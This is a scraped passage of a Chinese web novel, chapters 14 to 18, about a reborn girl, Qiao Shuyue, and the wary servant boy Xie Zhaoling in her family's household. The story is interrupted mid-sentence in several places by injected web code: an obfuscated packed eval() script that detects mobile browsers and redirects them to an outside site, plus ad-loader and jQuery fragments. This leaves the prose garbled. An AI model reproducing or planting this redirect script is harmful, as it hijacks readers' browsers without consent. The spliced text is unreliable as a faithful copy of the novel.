前世同塌而眠时,他也一向睡得很实,哪怕她半夜咳得厉害都不会醒,哪怕她疼得在他怀里发抖,他也如她所愿,一无所知。 她从一开始的担惊受怕,到后来渐渐不再刻意压制声音,在他面前她的伪装从无败露。 所以今夜她才敢来,因为有自信不会将他吵醒。 熟睡着,一切就都好办了。只要趁他睡着,将她带来的东西都安置好,他明日只会以为是四哥的安排,不会联想到自己身上。 思及白日他对自己的排斥,乔姝月眼底的光黯淡下来。 虽然心中对他仍有怨气,但看在他现在是个小可怜的份上,勉强先不和他计较。秋后算账,为时不晚。 乔姝月做足心理准备,撸起袖子准备开干。眼睛终于适应了黑暗,先熟悉一下屋中的摆设吧。 她一脸严肃,转过身来。 然后就对上了一双似笑非笑的眼。 乔姝月:“……” 怎么和说好的不一样。 她呆愣的模样落在少年眼底,深邃的眸中笑意一闪而过。他不出声,抱着肩膀,好整以暇地欣赏她的窘态。 小姑娘愣了半晌,终于反应过来,屋中没燃蜡烛,但她敢肯定,自己的脸一定红了个彻底。 她往前挪动,手搓着衣角,支支吾吾:“你,没睡啊?” 少年不说话,沉默地注视着。 “我来看看你,毕竟你是我花银子买回来的。”乔姝月找到了借口,再开口也更加有底气,一挺胸膛,“我花了钱,想怎样便怎样!” 少年可有可无地应了声,没再盯着她瞧,转身将盆里的抹布捞出拧干,随手扔向窗边,正好摊开晾了起来。 如狼般犀利的目光挪开,乔姝月的肩膀松垮下来,她放松地笑了下,“既然被你发现,那我就不藏着掖着了。” 说来奇怪,前世大殿之上初见谢昭凌的那一眼,她感觉到了一瞬间的无声的威严,哪怕对他的畏惧很快消弭,但那感觉却被她长久地深刻地记住。 此刻的重逢,叫她颇有熟悉之感,依稀之间似又回到他们初遇的时刻。 不过无论是笑眼温柔的陛下,还是此刻浑身带刺的少年,都是属于她一个人的谢昭凌,她理应勇往直前才是。 乔姝月抱着怀里的东西小跑到近前,两只眼睛又大又亮,像是有星星藏着。 她仰着头,献宝似的,把手里的东西奉了上去。 谢昭凌这才看清,原来有个包袱绑在她的身上,难怪她看起来比白日时还要圆滚滚。 小姑娘左右瞧瞧,看到一张桌子,便跑过去,桌子大概是府上男仆使用过的,台面制作得有些高,到她的胸口了,举着胳膊太费劲,于是她爬上椅子,跪在上面。 将包袱从身上拆下,摊平在桌上,打开,而后像只要过冬的松鼠,脑袋埋进自己存储的宝藏里。 被棉布织品包裹的声音发了闷,即便不甚清晰,也掩不住女孩兴奋的语调。 “虽说是夏日,但时节多雨,潮气逼人,一不留神就湿气侵体,大意不得,我给你准备了厚厚的被子在门口,等会你自己搬进来吧。” “还带了点艾草来,说是能驱虫,回头你记得绑门上。” “衣裳是李护卫从前穿过的,不过洗干净了不脏的,你先将就穿,等过些日子叫人给你做两身新的。” “太黑了,看不到啊……”小姑娘嘟嘟囔囔地抱怨了会,“找到了!” 声音忽然明媚而响亮,她直起身,眼睛弯成月牙,举着手中的瓶子,“我幼时调皮,常有磕碰,这药可好用了,送给你!” 她一句不提他的现状,只将自己能想到的东西都捧到他面前。 谢昭凌抿着唇,不知该说些什么。 在包袱里蹭来蹭去,头发都乱了,她顶着乱糟糟的丸子头,干净纯粹的眼底泛着微光,纯良无害地冲他笑着。 谢昭凌垂下眼睛,不再去看。 小姑娘毫无察觉,还在把东西往外掏。 “烛台容易打翻,换这个,灯盘大,底座稳。” “这套茶具是我最喜欢的,你看这飞鸟栩栩如生,可爱吧?” 说到此处,乔姝月羞涩地抿了下唇,前世陛下最擅长画各种飞鸟,听说是在军中和百夫长学的,在他们定情那日,陛下亲自绘了一副鸳鸯送给她。 她不好意思看他,红着脸把茶具推到一遍,继续往外拿东西。 “这个刘妈妈说是防水,等你睡觉把它罩在床顶,免得雨又漏下来,弄湿床榻。”乔姝月转过头,对他道,“若是湿了也不打紧,门口还放了一卷备用床褥,太沉了,也只能你自己搬。” 小姑娘轻声软语,因为年纪小,语调并不干脆利落,黏黏糊糊的像在撒娇。 谢昭凌心底那股异样感又回来了,他后背的伤口发痒,手指不自在地抠着腿侧。 潮湿的床榻和被褥他早就睡惯了,她说的那些东西他都没用过,听上去就是富贵人家才会用到的物件,与他的世界太格格不入。 “这些都是暂时凑合一下,反正你过不久就要去到我那里。” 乔姝月笑着说:“毕竟是我买回来的嘛。” 她似乎已经习惯他的闷不吭声,于是也不奢求他能给出什么反应,他不排斥就是最大的回报了。 乔姝月心底轻叹一声,曾经哪想得到,她对他的要求能低到这般。 离开前,她忽然想起。 她要去拉他的手,在即将碰到时,又顾虑地缩回,她不好意思地抿唇笑笑,“你不喜欢旁人碰,我会记住。” “那我放这了,”她从袖中取出一个荷包,轻轻搁在桌上,目光期待,“这是我亲手做的,别的你可以不需要,但这个你一定要放好,行吗?” “里头是安神香料,很管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213495|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的,你若是睡不着,可以试试将它塞在枕头下面。” 她一瞬不瞬盯着少年瞧,只见他只是淡淡瞥了一眼便收回视线,心底难免又失落起来。 “那我,我走了,荷包你一定要收好啊。” 小姑娘眼含不舍,一步三回头,几步的路她走了半晌。 路总有尽头,最终还是离开了他的房间。 ** 缠绵病榻的那几月,是他在那个家里最后的幸福时光。 那些日子,女人的目光总是格外温柔,偶尔夜半痛醒,能感觉到她将自己抱进怀里,眼泪流到他的脸上,耳边是她反复地在说:“有救了,终于有救了。” 白日里,女人往他枕头底下塞了个荷包,“娘给你求了符,巫医大人说睡觉时放在枕边,病能好得快些。” “记着巫医大人的嘱托,千万不要弄丢,一定要收好啊。” 男人闻言哼了声,“巫医大人对这小子倒是好。” “老赵,大人也是为了咱们。”女人的手垂在膝上,温柔地笑着,“我们家捡娃是福星。” 男人不再说话,拿上锄头下地去了。 “这荷包是娘亲手绣的?真好看!” 女人却道:“那平安符是被神香熏染过,神力强大,带好了,切不可离身。” “嗯!放心吧娘,”小小少年笑眼弯弯,眸光清亮,“你做的东西,我一定日日带着。” “……” 神香确实神力强大,那之后他很快便没了下床的力气,更何谈反抗。 女人慈爱的面容不知何时漫上一层绯色。 她的五官渐渐扭曲、狰狞,而后那绯红加深,变成了真的血。 她坐在轮椅上,七窍都在往外流血,却仍然对他笑着,目光空洞呆滞,带着一丝狂热,干瘦枯黄的手一只握着匕首,一只举着空碗,迫切地朝他伸来。 “孩子,我的孩子,你是上天的恩赐,救救娘吧……” …… …… 日光熹微,朝阳初升。 谢昭凌缓缓睁开双眼,从极深极恶的梦中挣脱,苏醒过来。 他睡眼惺忪,从榻上起身,坐在那,浑身都被冷汗浸透。 他的气息不可抑制地颤抖,整个人如坠冰窟。 那一瞬间,他宁愿自己死了,就死在泥沼,死在梦里。 可惜,他又见到了转日的太阳。 太阳啊,太热烈了,他会害怕。 巫医、村民、养父母,他们觊觎他的一身鲜血,可他却觉得,自己身体里流过的每一滴血液都肮脏透顶。 谢昭凌不自觉地握紧伤痕累累的手腕。 恍惚间,呼吸时又满是甜腥味,温热的液体淌过手腕,身体的温度却在流失,冷得人发抖,眼前一片漆黑。 少年咬咬牙,指甲用力抠破了伤疤。尖锐的疼痛强制唤回他的理智,满眼的血色终于如潮水般褪去。 等回过神来,才发现他一手握着匕首,而另一手满是鲜血。 因伤口不深,血往外流得很慢,少年熟练地用布条紧紧绑在伤处,抬高了手臂。 他仰靠在床头,思绪逐渐清明。待血止住,干净的那只手伸向床头,将枕头下压了一夜的东西握进掌心。 捏着装有安神香的荷包,快步走到门口。 门口摆着那堆小姑娘送来的东西。 他犹豫片刻,弯下腰,将荷包轻轻放在包裹的顶端。 15.第 15 章 【15】 辰时刚过,乔誉便去主院向褚氏请安。 “你兄长那我已嘱托,只剩你了。”褚氏坐于主位,叹道,“过几日陛下要为二皇子选妃,咱们家中虽无适龄女儿,但也在邀请一列,不得不去。等到进宫见着柳贵妃,万不可如从前一般称呼她,她如今的身份我们不好亲近,你们要时刻记着规矩,切莫惹事上身。” 乔誉年纪虽小,却透着股沉稳与可靠,他点点头,“母亲放心,我会看好妹妹。” 褚氏欣慰地笑笑,“月儿无姐妹,几个哥哥又同她年岁差得远,只你一个能陪着她,多劳你费心。” 乔誉受宠若惊,连连告罪:“母亲言重,孩儿应当的。” 褚氏对乔誉素来宽厚,同样是庶出,她对老二乔良的管教要严上许多。 “你自小懂事,从未让母亲操心过,等到为二皇子选妃那日,定要看紧月儿,莫让她被旁人欺负了去。” “若是柳贵妃……或是宫里其他什么人要见月儿,定要来知会我一声,那日我恐怕要同其他夫人们在一处,不能时时照顾你们。” “是,母亲放心。” 褚氏看起来十分紧张,又拉着乔誉嘱托好久。待从门内出来,已经过去小半个时辰。 “四公子不留下用早膳吗?”妙荷端着早膳,见乔誉匆匆离去,诧异问道。 乔誉客气地颔首,“还有些功课要做,就不吃了。” 一路脚步匆匆,拐入游廊,面上温柔和善的笑意顿时消散得无影无踪。 褚氏的话在他心里留下深刻的痕迹,他面色凝重,踏进院子。 俞升从房中走出,几步迎上来,在乔誉望过来的一瞬便告状: “那小子把月姑娘送的荷包给扔了!” 要说扔,其实也不算,乔姝月送到门口的东西谢昭凌一样没碰,那荷包更是好端端地躺在最上面。 只是清晨风大,荷包被刮到地上时,正巧被俞升看到。 俞升本就对谢昭凌心存不满,于是告状时免不了要带着偏见和情绪。 这一句话就叫本就心情不愉的乔誉彻底冷了脸。他摊开掌心,俞升将东西放了上去。 稀有的布料,精致的纹饰,针脚细密,却也有不少绣错的地方,看得出绣者有多认真在意。 “四哥,你对他好点……” 昨日小妹那声哀求言犹在耳,乔誉拳头握紧,忍耐地闭了闭眼。 “我就说这小子是狼心狗肺,白眼狼一个!” 来找乔誉串门却意外得知事情始末的二哥也坐不住了。 “他那天还挥手打了月儿一下!” 乔誉倏地抬眼,漆黑的眸中怒意更胜。 乔良气得头顶冒烟,两只眼睛瞪得像老虎,指着耳房,“他在那屋?我这就去打死他!” 乔誉没拦,端起茶盅喝了一口,“你若将他打伤,月儿只怕会更心疼,到时候恐会对你心生怨怼。” 一脚踏出房门的莽夫乔良,“……” 他灰溜溜地坐回原处,叹了口气,“那你说,怎么办。” 乔誉垂眸看向桌上那只荷包,他伸出手,轻轻将上头的尘土擦去,眼底是一片冰冷。 “既在我院中,还愁没法子么。” …… 紫棉从外头回来,便见玉竹站在院里,一边喂锦鲤,一边叹气。 紫棉走过去,疑惑道:“怎么?鱼死了?” 玉竹斜她一眼,“那倒好了,死了就换新一批。” 她望一眼房门,压低声:“是咱们姑娘,心情不好。” “早起时不高高兴兴的,还哼曲呢。” 玉竹愁眉苦脸,“可说是呢,一睁眼就说要去四公子院里玩,结果用完早膳,四公子来了一趟,人走后姑娘就郁郁寡欢的,不让人进门伺候,一个人闷在房里。” 紫棉眉头紧拧,玉竹又道:“你去挑布为何这么久?” 紫棉道:“路上遇到了妙荷,便同她一起,耽误会时间。” 提到妙荷,紫棉想起正事,也顾不得别的,推开房门走了进去。 “都说了,别来烦我!” 才刚进门,便听见女孩闷闷的声音。 紫棉进了内室,瞧见那场景,不由得无奈。 小姑娘蜷在榻上,被子盖住脑袋,正发泄般地蹬腿。 紫棉想起妙荷的传话,正色道:“姑娘,夫人请您过去,说是柳家来人了。” 榻上人身子一僵,沉默半晌,蓦地撩开被子坐起身。 她手里抓着被四哥送回的荷包,发髻凌乱,碎发垂在脸侧,微微低着头,长而密的睫羽遮住她眸中的晦涩。 不知是不是情绪影响,换好衣裳从木兰院出来时,乔姝月又开始觉得头疼。 她抬手摸了下额头,不太热。 明明是盛夏,风一吹她却觉得冷,心里暗暗叹气,落水之后没好好养着,如今这身子也不比前世康健太多。 她拢着披风,沿着游廊往东走,路上正好遇到从隔壁院里出来的四哥。 兄妹俩早上才见过一面,说过话,此刻俩人并肩而行,谁也没有开口。 远远瞧见月洞门,乔誉终是忍不住拉了她一下,隐忍着道:“区区一罪奴,值得你为他这般魂不守舍?!他究竟哪里好,叫你如此牵肠挂肚?!” 那小子也没倾国倾城到让人一见难忘就此误了终身的地步!怎么她就跟着了魔似得,非要惦记那小子不可呢?! 乔姝月被拉得晃了下身子,头忽然有些晕晕乎乎地,她茫然仰头,嗓音微微含了鼻音: “四哥,我没在想他。” 诚然,因为谢昭凌拒绝了她的荷包,她伤心欲绝,心里难受得不行,打定主意这几日不打算再理他。 可柳家忽然来人,她瞬间没了心思去计较旁的。 柳这一姓氏如一根针,曾一度深刺入骨,扎得她遍体鳞伤、痛不欲生。 前世就是柳家害得她家破人亡,她的父兄蒙冤入狱、母亲与哥哥接连惨死、自己的一身病体,皆是拜柳家所赐。 乔姝月勉强挤出个笑,“四哥,你可知今日柳家是谁来?” 这二字如今也让乔誉脑中那根弦绷紧,早上褚氏的种种反常,都叫乔誉忽视不得。 只是乔誉面上不显,他面色寡淡,没再看妹妹,手搭在她肩上,揽着她继续前行。 “听俞升说,是柳家的大夫人。” 乔姝月面色发白,眼底生出些恨意。 柳家大夫人,柳司空的大儿媳,楚国公的爱女。 她来了,那个人也一定会来。 兄妹俩踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221850|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入院中,便有婢女进入花厅传话。迈过门槛,便听里头传来柳大夫人的笑声。 “月姑娘来了,快到我这儿来。” 乔姝月抬头望向妇人的脸。 是一张记忆里熟悉的面孔,高颧骨,吊眼梢,细眉宽眼,薄嘴唇。妇人面带着笑意,看似和善,可眼中的高傲无论如何都藏不住,瞧着便令人生厌。 乔姝月心中作呕,强忍着没表露出来,她没理妇人的招呼,手放在身侧,站在原地恭恭敬敬地冲对方福了一礼,“大夫人康安。” “怎么这般生分,上回见还黏着我楚姨楚姨地叫,”柳大夫人一愣,下意识看向身侧,“亭儿,你们吵架了吗?” 屋中众人视线都落到大夫人身侧的少年上。 乔姝月眼睫颤抖,没有抬头。 妹妹的异样只有乔誉察觉,他心底警惕了两分,微冷的目光落在那锦衣少年身上。 眉眼同柳家大夫人如出一辙,嘴巴却天生笑唇,此刻微微笑着,腮边有两个酒窝。 柳步亭,柳家长子长孙,楚国公的外孙,背靠两大门阀世家的天之骄子。 “月妹妹,听闻你病了,叫我好生忧心,不知你可好些?” 柳步亭目光灼热而关切,惹得大夫人笑意连连,捂着唇同人打趣:“我儿眼高于顶,谁都看不上眼,就喜欢你家姝月,这不一听他月妹妹病了,吵嚷着让我带他来看看。” “我说过几日在宫中也能见着,他不肯,非要今日来。” 大夫人无奈道:“原本今日要进宫陪我那四妹,结果被这孩子打乱了计划。” 见对方一副无奈的样子,褚氏忍不住插嘴:“贵妃娘娘宣夫人进宫,就这么抗旨,怕是不妥?” 大夫人眉间笑意未散,无所谓道:“那又如何,便是皇帝召见,也该等我儿开心了再说。” 褚氏眉头紧紧皱在一起,但见柳大夫人张狂的模样,终究将话咽了回去。 “我家官人去得早,当年他为救驾而亡,于朝廷有功,想来陛下和娘娘都不会怪罪我们孤儿寡母。” “我儿感兴趣的事不多,你家姝月便算一件,他这般上心,我做母亲的怎好不满足他?” “……” 柳大夫人每说一句,乔姝月便觉得自己的脑袋更痛了一分。 柳步亭……若无他的纠缠,她的哥哥又怎么会死?!她只恨仇人就在眼前,而自己不能拿着刀将他杀死。 就在她艰难忍耐之时,手背忽然一热。她微怔,侧过头。 四哥目光疏离,安静地注视着一切。他没有看她,却悄悄牵起了她的手。 乔姝月眼底一热,用力咬住唇瓣。 余光瞥到有人慢慢靠近,乔姝月如一只受惊的猫,瞬间激起全身的防备。 “母亲。” 低哑的少年声忽然打断两位夫人的交谈。 被截了话的柳夫人面露不快,褚氏疑惑地:“怎么?” 乔誉握紧掌心的小手,冷静道:“月儿复烧了,恳请母亲准许我送她回房。” 褚氏果然紧张起来,“快!快回去歇息!妙荷!快送公子和姑娘回去。” 乔誉微微颔首,将妹妹护在怀中,避开了伸过来的那只手,果断转身往外走。 徒留柳步亭脸色阴沉,手僵停在半空。 16.第 16 章 【16】 一路沿着游廊往回走,兄妹二人身后始终有一身影紧跟不舍。 直到行至乔誉的院子门口,他将妹妹推进院子,才转回身,将来人拦在身前,目光冷淡地望向对方。 “此乃我家后宅,柳公子是要擅闯吗?” 柳步亭没看他,视线始终黏在那个越来越远的娇小的身影上。 待人被婢女扶进屋中,再看不见,他才收回不舍的目光。别说是后宅,就算是闺房,他也是想进就进,谁又能阻拦他? 他乔家虽有太子做靠山,却也远不如柳氏尊贵,乔誉一个庶子,竟敢对他大呼小叫,颐指气使,当真是活得不耐烦了。 柳步亭冲着乔誉笑道: “做哥哥的,把病中的妹妹带回自己房中,乔四公子才是不妥吧。” “我是月儿的亲兄长,怎样关心她都是理所应当。” 乔誉性子低调,嫌少会同人冲突,但今日柳步亭倒霉,将他压抑许久的怒火全都勾了出来,他嘴下不再留情。 “龌龊之人眼底只见龌龊之事,乔某实难与柳公子共情,恕不远送。” 乔姝月回到房中,便裹着毯子,昏昏沉沉陷入沉睡。 乔誉本打算赶走不速之客以后便将妹妹送回,进门后见妹妹如此不适,便打消了念头。 他让俞升换一套新的被褥,而后他把人背上床榻,掖紧被子,吩咐玉竹和紫棉守在一旁,便从屋中退出。 才走进院子,西耳房传来动静。乔誉眉间微蹙,走了过去。 靠近些便听到了训斥声,是他院中的护卫正在斥责谢昭凌。 “叫你去摘山楂果,山楂果不认识吗?你这采了什么?一筐绿叶!” 护卫得了命,明里暗里针对少年,他一脚踢向桌子,若非少年眼疾手快扶稳,盘中的饭菜已然掉到地上。 少年目光犀利,敏锐又凌厉地投向门外,与乔誉暗含警告的冷淡目光碰到一处。 护卫背对着,不知主子在门外,他脚下不停,继续揣着桌腿,抱肩嘲讽:“给你这点差事都办不好,还想吃饭?” 转身时,门口已不见乔誉踪影。 谢昭凌没有浪费粮食的习惯,不管是多糟糕的饭食,无论是凉的还是馊的,他都能面不改色地咽下。 吃饱才有力气干活,他才能早日赚够那五十两,还给小菩萨,重获自由身。 午后的院落十分安静,不知发生了什么,往常能看到三两护卫在院中巡逻,今日却一个都不见。 整个院子空空荡荡,好像人全都消失了一般。 那名护卫最初给他的命令就是采绿叶,只是不知怎么又忽然改口说要山楂果。 朝令夕改,这并不要紧,乔府护卫的欺凌手段低下简单,比他曾遇到的那些相去甚远。 如今这些不过是挠痒痒,连皮都刺不破,遑论伤筋动骨。 谢昭凌心情平静,背起竹篓,走出房门。 他心不在焉地关好门,忽然神色一凛,眸中顿时迸发出警惕与杀意。 有陌生人闯进了院子。 而那个人似乎也没想到院里还有别人,他打量着谢昭凌的背影,微微眯眸。 最后轻笑了声,得出一个结论:“下等奴。” 他不以为意,继续转头同仆从说话。 “母亲在和乔家人用膳?” “是的公子。” “都有谁?” “两位在府上的公子都去了,还有下值回来乔大公子。” “难怪这院里没人。”柳步亭望着正前方紧闭的房门,勾唇笑道,“那正好,说不定月妹妹一个人正害怕呢。” “公子,咱——” 小厮话说到一半,眼前晃过去一人。 一身量比柳步亭稍高一些的少年身背着竹筐,手扛着矮木梯,低垂着头,从两人身旁走了过去。 没打招呼。 小厮拧眉,心道乔四公子嘴下无德,院里养的下等奴也没个分寸。他想开口训斥,却顾念着场合,忍了下去。 “公子,现在进去?再晚些怕是人要回来了。” “唉,可是月妹妹见着我似乎不太高兴。” 小厮迟疑,“这……” 柳步亭失落地垂眸,“我是一片好心,特意来提醒她离二皇子远些。” “她正眼都不看我,该罚才是。”柳步亭语气很低,喃喃道,“没人能反抗我,她不该仗着我纵容便得意忘形,你说是不是?” 小厮附和:“公子早该给她一些教训!还有那个乔四公子,当真是庶出子,如此没有礼数。” “那你说,该如何罚?” “嘿嘿,老规矩,我随身带着呢,只因人多眼杂,不好一直拿着,便找机会藏在那墙根——” 小厮说着,满脸坏笑往院角草丛望去,结果看到那个碍眼的下等奴正攀着梯子往上爬,那人似乎腿脚不太好使,只一只脚能受力,每次都是同一只脚往上踩。 小厮不屑地勾了下唇,视线下落,顿时紧张起来。 也不知这不长眼的狗奴是怎么回事,梯脚险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他扶着梯子,往下爬。背着小半筐半熟不熟的果子,垂着头,一步一步,朝着女孩靠近。 柳步亭怒火中烧,瞪了一眼茫然的小厮,朝乔姝月伸手。 伸到一半,手腕蓦地被人截住。 柳步亭抬眼,对上一双冰冷的眼睛。 少年挡在女孩身前,漠然俯视他,手上力道极大,几乎将人腕骨捏碎。 17.第 17 章 【17】 “你们在作甚?!” 院外忽传来乔良惊怒的声音。 柳步亭不听不理,只对着面前的少年怒目而视,他咬牙切齿,“区区一个下等奴,你怎敢——” “我院中人如何,还不劳柳公子教训。” 乔誉不知何时走到近前,乔良冲过去把姝月扶了起来。 “怎么了这是?月儿别哭,二哥来了!”乔良心疼得心肝脾肺都挪了位,把人揽在臂弯揉脑袋,一边揉一边对着柳步亭怒骂,“我非得告诉大哥和父亲不可!这事没完!” 乔誉面色冷肃,冲外伸手做了个“请”的动作,“贵府大夫人正在前厅与我父亲说话,柳公子还是去听听为好。” 柳步亭依旧不答,执拗的目光牢牢钉在谢昭凌身上,他的视线如阴暗角落里的毒蛇,冰冷、滑腻、扭曲得令人作呕。 谢昭凌低垂着头,并未将人放在眼中。 乔誉往旁边挪了挪,将谢昭凌挡住,看向柳步亭的眼神里带着无声的威胁,“请吧,柳公子。” 柳步亭手指点了点乔誉,扭头走了。乔誉将人送出去,走出两步,回头望了谢昭凌一眼,眸光晦暗。 当乔誉看到少年并没有看向姝月,而是悄无声息地往上背了背竹篓,沉默地朝着小厨房而去,乔誉眼中的复杂情绪更甚。 乔誉将柳步亭一路送到前院,守着他看着他,最后目送他同柳大夫人离开乔府后,才回了住处。 回去时院子里人已散了,二哥陪姝月离开,只剩俞升一人,在门口徘徊。 乔誉视线往西耳房方向落,“他人呢?” 说起来他们还不知他叫什么。 俞升观察着乔誉的脸色,见着他皱眉,小心翼翼回道:“交代了他采果子,他把东西放到厨房人就回房了。” 乔誉嗯了声,他回想起对方刚刚挡在姝月面前那副护佑的模样,积攒的郁气与不满到底散了些。还算有点良心,知道护主。 他抬步往前走,俞升察言观色,适时道:“月姑娘半夜送来的东西那小子一个没碰,现在被咱们搬出来了,要如何处置?是送回姑娘那边,还是……” 乔誉走到门口,便见到自己的房间里不知何时多了那些东西。 被褥、新衣、茶具…… 他一眼便看到当中那个刻有兔子图案的汤婆子,若没记错,这是当年父亲从越州外派回来送给姝月的。 姝月很喜欢,一次都没舍得用,平日就摆在柜子上当个精致摆件。那个在博古架最显眼的位置,一抬眼就能看到的东西,如今却在这里。 乔誉暗自咬牙,没想到小妹对那臭小子如此上心,自己千般喜爱万般珍惜的宝物竟随随便便就送出去了。 那罪奴除了一张脸,究竟还有什么好的? 乔誉阴沉的脸,冷笑:“留着,都放去书房。” 不能送回去,更不能便宜了别人。 亲眼见证小妹的偏爱,乔誉心里说不出的烦闷,连带着对谢昭凌刚刚生出的一分好感再度烟消云散。 忠心护主不是应该的吗?有什么值得夸赞的。 乔誉冷着脸,一脚踏进房间,远处忽然传来一声撕心裂肺的尖叫。 乔誉蓦地回头,只见一婢女惊慌失措地从小厨房里跑出来,太过害怕,人被裙摆绊倒,摔在院子里。 俞升连忙过去扶,安抚:“发生何事?” 婢女脸色苍白,哽咽着叩首,“公子恕罪!竹筐,筐,里面有好多虫子……” 话音落,还有一条小青蛇从厨房中爬了出来。 俞升噤声,迟疑着回头,果不其然见到乔誉的脸色彻底阴沉下来。 竹筐是谁放到厨房里的,虫子自然就是谁放的。 “俞升。” 俞升瞧着盛怒之时,面无表情的主子,低下头,“在。” “去处理了。” ** ** 在一起的第一年,乔姝月还未病入膏肓。 那时他很喜欢让她相陪,一起出宫体察民情。 “陛下,我们——” “既是微服出访,阿月还是换个称呼吧。” 乔姝月抬头,只见男人笑容温润,目光温柔。四目相对,爱意在对视中静静流淌。 半晌,乔姝月弯唇一笑,抓紧男人的手,“嗯,阿凌。” 这样亲昵的称呼只有她意识不清时才会出口,男人俊美的面庞怔愣一瞬,而后轻笑出声。 今日七夕乞巧,西京城的夜市里有点灯仪式,二人低调出宫,只为抛弃繁琐的宫规,专心度过一个只属于彼此的二人世界,因此身边没带太多人。 谢昭凌去买她最喜欢的山楂糕,就这么一会功夫,便生了岔子。 一醉汉晃晃悠悠经过,眼睛不知怎么就瞥见茶摊伞下坐着的女子——玉骨冰肌,宛若天人。 醉汉酒意上头,坏笑着靠近,伸出手去就要调戏。 眼前突然落下一片阴影。 醉汉仰头,瞳底映出男人一双冰冷刺骨的眼。下一刻,他的手腕被男人用力捏紧,向上一折,只听“咔嚓”一声脆响,醉汉哀嚎痛哭。 乔姝月怔怔看着挡在身前的宽阔的背影,神情恍惚,隐约觉得这场景似曾相识。 男人低哑暴戾的声音,缓缓压出一个“滚”字。 待那屁滚尿流逃窜的身影消失在视野里,男人才慢慢转过身。 此时的他,情绪已然重归平静,望向她的目光充满了绵密的爱与温柔。 他低笑着,用另一只没碰过别人的手,轻轻抚在她脸侧。 “夫人,可吓着了?” 乔姝月陡然回神,脸悄悄红了。 “我才不是……” 声音戛然而止。 她呆呆望着对方越来越低、越来越靠近的脸,羞涩地闭上双眼。 吻久久不落,心脏蓦地一紧—— 乔姝月骤然从梦中惊醒。 灵魂又被重新塞回这具小小的身体,失落与遗憾的感觉随之而来,将她密密实实包裹其中。 乔姝月靠在床头,一手捂着狂乱跳动的心脏,一手捏紧荷包,沮丧得想哭。 若是未曾感受过他的温柔,她也不至于会这般难过。梦中的旧景与现实反差太多,不怪她受不了这中间落差。 为什么他要将荷包扔到门外啊?他昨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夜明明都接受了。 再如何厌恶,都不该这般糟蹋她的一番心意。她又没有害他,他怎么这么对她。 或许……有无可能,是四哥在骗她?也许是四哥不满意他,所以才将她送过去的东西都收回去。 一片黑暗里,乔姝月听到自己急促的呼吸声。 柳家的突然到访,打乱了她的心绪,让她没有时间去思考谢昭凌的事,可等柳步亭离开乔家,她睡醒一觉后,发现自己实在过不去心里那道坎。 乔家的危机非一朝一夕能扭转,距离事发还有十年,前路漫漫,一时急不得,得徐徐图之。 但关于谢昭凌的事,她却没耐心再等上十年。她将他带回来,可不是为了再看他十年的冷脸。 乔姝月默默抓紧荷包,目光逐渐坚定。 今夜若是问不出一个答案,她怕是难以再入眠。 做好决定,乔姝月悄无声息地从被窝里爬了出来。 蹑手蹑脚,走过外间软榻,经过了陷入熟睡的守夜的玉竹,轻轻拉开门。 她顶着一头凌乱的长发,做贼似得探出头去,见院中无人,捂着胸口的荷包,一溜烟地跑了出去。 ** 傍晚时分,俞升把谢昭凌叫去柴房劈柴。砍了足足一个时辰,才放他走。 等回到房间,发现蜡芯被水泡过,怎么都点不燃。 又是不痛不痒的惩戒,谢昭凌没放在心上,从小到大他经历过太多。 因长时间使力,背后伤口再度开裂,从布料粘稠的触感判断,大概有血渗了出来。 谢昭凌解了衣裳,凭着感觉,将吴大夫开的药涂抹上去。 他粗粝的手指不断在背后摸索着,带着厚厚茧子的指尖擦过血肉时,他都习以为常,面不改色。 等上好药,缠上纱布,将衣裳穿回,眼睛也终于适应了屋中的昏暗。借着窗外幽暗的月色,他朝着床榻走去。 若是从前,身上有点伤他都能忍过去,不管不顾。可如今不同,他身负债务,那是一笔不小的数目。 他得好好珍惜自己的身体,然后尽早赚够银子,还清欠款。 谢昭凌才刚坐在榻上,便听院子里传来脚步声。 那一瞬间,如打盹的猛兽蓦地苏醒,神经绷紧,竖直浑身抵御的刺。 托幼年那些经历的福,他的耳力已经练就得十分敏锐。才刚有人踏进院子,他便听了出来。 脚步很慌乱,落地的力道很轻,步与步之间没有节奏,听上去是个身量很小、又不会功夫的女子。 不是来抓他的。 谢昭凌松开了藏在枕头下面的那只匕首。 自从偶然拿到那张画像,他没有一个夜晚是不警惕着的。凡有人靠近,他都会下意识去想,来人是否与他、与那张画像有关,是否是大巫医派来的。 即便逃来皇城,他亦不敢放松。 那道凌乱虚浮的脚步声最终停在了门前。 谢昭凌冷眼看着门口的方向,唇线紧抿。 吱扭—— 房门推开。 而后一个身披长发的小不点鬼鬼祟祟,探了头进来。 谢昭凌:“……” 18.第 18 章 【18】 没想到这位小菩萨如此热衷往人家屋里钻。 夜夜都来,不知道的还以为他这屋里藏了什么宝贝,非得夜深人静时来确认一下宝物的完好才行。 